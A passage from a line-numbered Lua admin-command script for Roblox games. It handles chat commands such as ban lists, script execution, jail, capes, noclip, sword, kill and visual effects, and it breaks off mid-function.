  443. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  444. end end
  445.  
  446. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  447. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  448. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  449. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  450. end
  451.  
  452. if msg:lower() == "tools" or msg:lower() == "toollist" then
  453. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  454. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  455. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  456. end
  457.  
  458. if msg:lower():sub(1,2) == "s " then
  459. coroutine.resume(coroutine.create(function()
  460. Output(msg:sub(3), plr)
  461. if script:findFirstChild("ScriptBase") then
  462. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  463. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  464. else loadstring(msg:sub(3))()
  465. end
  466. end))
  467. end
  468.  
  469. if msg:lower():sub(1,3) == "ls " then
  470. coroutine.resume(coroutine.create(function()
  471. if script:findFirstChild("LocalScriptBase") then
  472. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  473. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  474. end
  475. end))
  476. end
  477.  
  478. if msg:lower():sub(1,6) == "lsplr " then
  479. local chk1 = msg:lower():sub(7):find(" ") + 6
  480. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  481. for i, v in pairs(plrz) do
  482. coroutine.resume(coroutine.create(function()
  483. if v and v:findFirstChild("PlayerGui") then
  484. if script:findFirstChild("LocalScriptBase") then
  485. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  486. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  487. end
  488. end
  489. end))
  490. end
  491. end
  492.  
  493. if msg:lower():sub(1,4) == "ins " then
  494. coroutine.resume(coroutine.create(function()
  495. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  496. if obj and #obj:children() >= 1 and plr.Character then
  497. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  498. end
  499. end))
  500. end
  501.  
  502. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  503. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  504. RemoveMessage()
  505. objects = {}
  506. end
  507.  
  508. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  509. game.Lighting.Ambient = origsettings.abt
  510. game.Lighting.Brightness = origsettings.brt
  511. game.Lighting.TimeOfDay = origsettings.time
  512. game.Lighting.FogColor = origsettings.fclr
  513. game.Lighting.FogEnd = origsettings.fe
  514. game.Lighting.FogStart = origsettings.fs
  515. for i, v in pairs(lobjs) do v:Destroy() end
  516. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  517. end
  518.  
  519. if msg:lower() == "xd" or msg:lower() == "cmdgui" then
  520. coroutine.resume(coroutine.create(function()
  521. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  522. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  523. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  524. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  525. end))
  526. end
  527.  
  528. if msg:lower():sub(1,10) == "countdown " then
  529. local num = math.min(tonumber(msg:sub(11)),120)
  530. for i = num, 1, -1 do
  531. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  532. wait(1)
  533. end
  534. end
  535.  
  536. if msg:lower():sub(1,3) == "tm " then
  537. local chk1 = msg:lower():sub(4):find(" ") + 3
  538. local num = tonumber(msg:sub(4,chk1-1))
  539. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  540. end
  541.  
  542. if msg:lower():sub(1,2) == "m " then
  543. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  544. end
  545.  
  546. if msg:lower():sub(1,2) == "h " then
  547. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  548. end
  549.  
  550. if msg:lower():sub(1,3) == "pm " then
  551. local chk1 = msg:lower():sub(4):find(" ") + 3
  552. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  553. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  554. end
  555.  
  556. if msg:lower():sub(1,11) == "resetstats " then
  557. local plrz = GetPlr(plr, msg:lower():sub(12))
  558. for i, v in pairs(plrz) do
  559. coroutine.resume(coroutine.create(function()
  560. if v and v:findFirstChild("leaderstats") then
  561. for a, q in pairs(v.leaderstats:children()) do
  562. if q:IsA("IntValue") then q.Value = 0 end
  563. end
  564. end
  565. end))
  566. end
  567. end
  568.  
  569. if msg:lower():sub(1,5) == "gear " then
  570. local chk1 = msg:lower():sub(6):find(" ") + 5
  571. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  572. for i, v in pairs(plrz) do
  573. coroutine.resume(coroutine.create(function()
  574. if v and v:findFirstChild("Backpack") then
  575. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  576. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  577. obj:Destroy()
  578. end
  579. end))
  580. end
  581. end
  582.  
  583. if msg:lower():sub(1,4) == "hat " then
  584. local chk1 = msg:lower():sub(5):find(" ") + 4
  585. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  586. for i, v in pairs(plrz) do
  587. coroutine.resume(coroutine.create(function()
  588. if v and v.Character then
  589. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  590. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  591. obj:Destroy()
  592. end
  593. end))
  594. end
  595. end
  596.  
  597. if msg:lower():sub(1,5) == "cape " then
  598. local chk1 = msg:lower():sub(6):find(" ")
  599. local plrz = GetPlr(plr, msg:lower():sub(6))
  600. local str = "torso.BrickColor"
  601. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  602. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  603. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  604. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  605. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  606. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  607. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  608. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  609. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  610. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  611. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  612. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  613. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  614. if BrickColor.new(teststr) ~= nil then str = teststr end
  615. end
  616. for i, v in pairs(plrz) do
  617. coroutine.resume(coroutine.create(function()
  618. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  619. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  620. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  621. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  622. local torso = plr.Character.Torso
  623. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  624. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  625. p.Size = Vector3.new(.2,.2,.2)
  626. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  627. local motor1 = Instance.new("Motor", p)
  628. motor1.Part0 = p
  629. motor1.Part1 = torso
  630. motor1.MaxVelocity = .01
  631. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  632. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  633. local wave = false
  634. repeat wait(1/44)
  635. local ang = 0.1
  636. local oldmag = torso.Velocity.magnitude
  637. local mv = .002
  638. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  639. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  640. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  641. motor1.DesiredAngle = -ang
  642. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  643. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  644. if torso.Velocity.magnitude < .1 then wait(.1) end
  645. until not p or p.Parent ~= torso.Parent
  646. script:Destroy()
  647. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  648. end
  649. end))
  650. end
  651. end
  652.  
  653. if msg:lower():sub(1,7) == "uncape " then
  654. local plrz = GetPlr(plr, msg:lower():sub(8))
  655. for i, v in pairs(plrz) do
  656. coroutine.resume(coroutine.create(function()
  657. if v and v:findFirstChild("PlayerGui") and v.Character then
  658. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  659. end
  660. end))
  661. end
  662. end
  663.  
  664. if msg:lower():sub(1,7) == "noclip " then
  665. local plrz = GetPlr(plr, msg:lower():sub(8))
  666. for i, v in pairs(plrz) do
  667. coroutine.resume(coroutine.create(function()
  668. if v and v:findFirstChild("PlayerGui") then
  669. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  670. cl.Parent = v.PlayerGui cl.Disabled = false
  671. end
  672. end))
  673. end
  674. end
  675.  
  676. if msg:lower():sub(1,5) == "clip " then
  677. local plrz = GetPlr(plr, msg:lower():sub(6))
  678. for i, v in pairs(plrz) do
  679. coroutine.resume(coroutine.create(function()
  680. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  681. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  682. v.Character.Torso.Anchored = false
  683. wait(.1) v.Character.Humanoid.PlatformStand = false
  684. end
  685. end))
  686. end
  687. end
  688.  
  689. if msg:lower():sub(1,5) == "jail " then
  690. local plrz = GetPlr(plr, msg:lower():sub(6))
  691. for i, v in pairs(plrz) do
  692. coroutine.resume(coroutine.create(function()
  693. if v and v.Character and v.Character:findFirstChild("Torso") then
  694. local vname = v.Name
  695. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  696. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  697. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  698. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  699. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  700. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  701. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  702. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  703. end)
  704. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  705. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  706. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  707. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  708. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  709. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  710. local msh2 = msh:Clone() msh2.Parent = back
  711. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  712. local msh4 = msh3:Clone() msh4.Parent = left
  713. v.Character.Torso.CFrame = cf
  714. end
  715. end))
  716. end
  717. end
  718.  
  719. if msg:lower():sub(1,7) == "unjail " then
  720. local plrz = GetPlr(plr, msg:lower():sub(8))
  721. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  722. end
  723.  
  724. if msg:lower():sub(1,11) == "starttools " then
  725. local plrz = GetPlr(plr, msg:lower():sub(12))
  726. for i, v in pairs(plrz) do
  727. coroutine.resume(coroutine.create(function()
  728. if v and v:findFirstChild("Backpack") then
  729. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  730. end
  731. end))
  732. end
  733. end
  734.  
  735. if msg:lower():sub(1,6) == "sword " then
  736. local plrz = GetPlr(plr, msg:lower():sub(7))
  737. for i, v in pairs(plrz) do
  738. coroutine.resume(coroutine.create(function()
  739. if v and v:findFirstChild("Backpack") then
  740. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  741. sword.GripForward = Vector3.new(-1,0,0)
  742. sword.GripPos = Vector3.new(0,0,-1.5)
  743. sword.GripRight = Vector3.new(0,1,0)
  744. sword.GripUp = Vector3.new(0,0,1)
  745. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  746. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  747. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  748. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  749. local Damage = 15
  750. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  751. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  752. SlashSound.Volume = 1
  753. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  754. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  755. LungeSound.Volume = 1
  756. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  757. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  758. UnsheathSound.Volume = 1
  759. local last = 0
  760. script.Parent.Handle.Touched:connect(function(hit)
  761. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  762. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  763. hit.Parent.Humanoid:TakeDamage(Damage)
  764. end
  765. end)
  766. script.Parent.Activated:connect(function()
  767. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  768. script.Parent.Enabled = false
  769. local tick = game:service("RunService").Stepped:wait()
  770. if tick - last <= .2 then
  771. LungeSound:play()
  772. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  773. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  774. wait(.2)
  775. script.Parent.GripForward = Vector3.new(0,0,1)
  776. script.Parent.GripRight = Vector3.new(0,-1,0)
  777. script.Parent.GripUp = Vector3.new(-1,0,0)
  778. wait(.3)
  779. frc:Destroy() wait(.5)
  780. script.Parent.GripForward = Vector3.new(-1,0,0)
  781. script.Parent.GripRight = Vector3.new(0,1,0)
  782. script.Parent.GripUp = Vector3.new(0,0,1)
  783. else
  784. SlashSound:play()
  785. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  786. end
  787. last = tick
  788. script.Parent.Enabled = true
  789. end)
  790. script.Parent.Equipped:connect(function(mouse)
  791. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  792. UnsheathSound:play()
  793. script.Parent.Enabled = true
  794. if not mouse then return end
  795. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  796. end)]] cl.Disabled = false
  797. end
  798. end))
  799. end
  800. end
  801.  
  802. if msg:lower():sub(1,6) == "clone " then
  803. local plrz = GetPlr(plr, msg:lower():sub(7))
  804. for i, v in pairs(plrz) do
  805. coroutine.resume(coroutine.create(function()
  806. if v and v.Character then
  807. v.Character.Archivable = true
  808. local cl = v.Character:Clone()
  809. table.insert(objects,cl)
  810. cl.Parent = game.Workspace
  811. cl:MoveTo(v.Character:GetModelCFrame().p)
  812. cl:MakeJoints()
  813. v.Character.Archivable = false
  814. end
  815. end))
  816. end
  817. end
  818.  
  819. if msg:lower():sub(1,8) == "control " then
  820. local plrz = GetPlr(plr, msg:lower():sub(9))
  821. for i, v in pairs(plrz) do
  822. coroutine.resume(coroutine.create(function()
  823. if v and v.Character then
  824. v.Character.Humanoid.PlatformStand = true
  825. local w = Instance.new("Weld", plr.Character.Torso )
  826. w.Part0 = plr.Character.Torso
  827. w.Part1 = v.Character.Torso
  828. local w2 = Instance.new("Weld", plr.Character.Head)
  829. w2.Part0 = plr.Character.Head
  830. w2.Part1 = v.Character.Head
  831. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  832. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  833. w3.Part1 = v.Character:findFirstChild("Right Arm")
  834. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  835. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  836. w4.Part1 = v.Character:findFirstChild("Left Arm")
  837. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  838. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  839. w5.Part1 = v.Character:findFirstChild("Right Leg")
  840. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  841. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  842. w6.Part1 = v.Character:findFirstChild("Left Leg")
  843. plr.Character.Head.face:Destroy()
  844. for i, p in pairs(v.Character:children()) do
  845. if p:IsA("BasePart") then
  846. p.CanCollide = false
  847. end
  848. end
  849. for i, p in pairs(plr.Character:children()) do
  850. if p:IsA("BasePart") then
  851. p.Transparency = 1
  852. elseif p:IsA("Hat") then
  853. p:Destroy()
  854. end
  855. end
  856. v.Character.Parent = plr.Character
  857. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  858. end
  859. end))
  860. end
  861. end
  862.  
  863. if msg:lower():sub(1,5) == "kill " then
  864. local plrz = GetPlr(plr, msg:lower():sub(6))
  865. for i, v in pairs(plrz) do
  866. coroutine.resume(coroutine.create(function()
  867. if v and v.Character then v.Character:BreakJoints() end
  868. end))
  869. end
  870. end
  871.  
  872. if msg:lower():sub(1,8) == "respawn " then
  873. local plrz = GetPlr(plr, msg:lower():sub(9))
  874. for i, v in pairs(plrz) do
  875. coroutine.resume(coroutine.create(function()
  876. if v and v.Character then v:LoadCharacter() end
  877. end))
  878. end
  879. end
  880.  
  881. if msg:lower():sub(1,5) == "trip " then
  882. local plrz = GetPlr(plr, msg:lower():sub(6))
  883. for i, v in pairs(plrz) do
  884. coroutine.resume(coroutine.create(function()
  885. if v and v.Character and v.Character:findFirstChild("Torso") then
  886. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  887. end
  888. end))
  889. end
  890. end
  891.  
  892. if msg:lower():sub(1,5) == "stun " then
  893. local plrz = GetPlr(plr, msg:lower():sub(6))
  894. for i, v in pairs(plrz) do
  895. coroutine.resume(coroutine.create(function()
  896. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  897. v.Character.Humanoid.PlatformStand = true
  898. end
  899. end))
  900. end
  901. end
  902.  
  903. if msg:lower():sub(1,7) == "unstun " then
  904. local plrz = GetPlr(plr, msg:lower():sub(8))
  905. for i, v in pairs(plrz) do
  906. coroutine.resume(coroutine.create(function()
  907. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  908. v.Character.Humanoid.PlatformStand = false
  909. end
  910. end))
  911. end
  912. end
  913.  
  914. if msg:lower():sub(1,5) == "jump " then
  915. local plrz = GetPlr(plr, msg:lower():sub(6))
  916. for i, v in pairs(plrz) do
  917. coroutine.resume(coroutine.create(function()
  918. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  919. v.Character.Humanoid.Jump = true
  920. end
  921. end))
  922. end
  923. end
  924.  
  925. if msg:lower():sub(1,4) == "sit " then
  926. local plrz = GetPlr(plr, msg:lower():sub(5))
  927. for i, v in pairs(plrz) do
  928. coroutine.resume(coroutine.create(function()
  929. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  930. v.Character.Humanoid.Sit = true
  931. end
  932. end))
  933. end
  934. end
  935.  
  936. if msg:lower():sub(1,10) == "invisible " then
  937. local plrz = GetPlr(plr, msg:lower():sub(11))
  938. for i, v in pairs(plrz) do
  939. coroutine.resume(coroutine.create(function()
  940. if v and v.Character then
  941. for a, obj in pairs(v.Character:children()) do
  942. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  943. end
  944. end
  945. end))
  946. end
  947. end
  948.  
  949. if msg:lower():sub(1,8) == "visible " then
  950. local plrz = GetPlr(plr, msg:lower():sub(9))
  951. for i, v in pairs(plrz) do
  952. coroutine.resume(coroutine.create(function()
  953. if v and v.Character then
  954. for a, obj in pairs(v.Character:children()) do
  955. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  956. end
  957. end
  958. end))
  959. end
  960. end
  961.  
  962. if msg:lower():sub(1,5) == "lock " then
  963. local plrz = GetPlr(plr, msg:lower():sub(6))
  964. for i, v in pairs(plrz) do
  965. coroutine.resume(coroutine.create(function()
  966. if v and v.Character then
  967. for a, obj in pairs(v.Character:children()) do
  968. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  969. end
  970. end
  971. end))
  972. end
  973. end
  974.  
  975. if msg:lower():sub(1,7) == "unlock " then
  976. local plrz = GetPlr(plr, msg:lower():sub(8))
  977. for i, v in pairs(plrz) do
  978. coroutine.resume(coroutine.create(function()
  979. if v and v.Character then
  980. for a, obj in pairs(v.Character:children()) do
  981. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  982. end
  983. end
  984. end))
  985. end
  986. end
  987.  
  988. if msg:lower():sub(1,8) == "explode " then
  989. local plrz = GetPlr(plr, msg:lower():sub(9))
  990. for i, v in pairs(plrz) do
  991. coroutine.resume(coroutine.create(function()
  992. if v and v.Character and v.Character:findFirstChild("Torso") then
  993. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  994. end
  995. end))
  996. end
  997. end
  998.  
  999. if msg:lower():sub(1,4) == "age " then
  1000. local plrz = GetPlr(plr, msg:lower():sub(5))
  1001. for i, v in pairs(plrz) do
  1002. coroutine.resume(coroutine.create(function()
  1003. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1004. end))
  1005. end
  1006. end
  1007.  
  1008. if msg:lower():sub(1,5) == "fire " then
  1009. local plrz = GetPlr(plr, msg:lower():sub(6))
  1010. for i, v in pairs(plrz) do
  1011. coroutine.resume(coroutine.create(function()
  1012. if v and v.Character and v.Character:findFirstChild("Torso") then
  1013. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1014. end
  1015. end))
  1016. end
  1017. end
  1018.  
  1019. if msg:lower():sub(1,7) == "unfire " then
  1020. local plrz = GetPlr(plr, msg:lower():sub(8))
  1021. for i, v in pairs(plrz) do
  1022. coroutine.resume(coroutine.create(function()
  1023. if v and v.Character and v.Character:findFirstChild("Torso") then
  1024. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1025. end
  1026. end))
  1027. end
  1028. end
  1029.  
  1030. if msg:lower():sub(1,6) == "smoke " then
  1031. local plrz = GetPlr(plr, msg:lower():sub(7))
  1032. for i, v in pairs(plrz) do
  1033. coroutine.resume(coroutine.create(function()
  1034. if v and v.Character and v.Character:findFirstChild("Torso") then
  1035. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1036. end
  1037. end))
  1038. end
  1039. end
  1040.  
  1041. if msg:lower():sub(1,8) == "unsmoke " then
  1042. local plrz = GetPlr(plr, msg:lower():sub(9))
  1043. for i, v in pairs(plrz) do
  1044. coroutine.resume(coroutine.create(function()
  1045. if v and v.Character and v.Character:findFirstChild("Torso") then
  1046. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
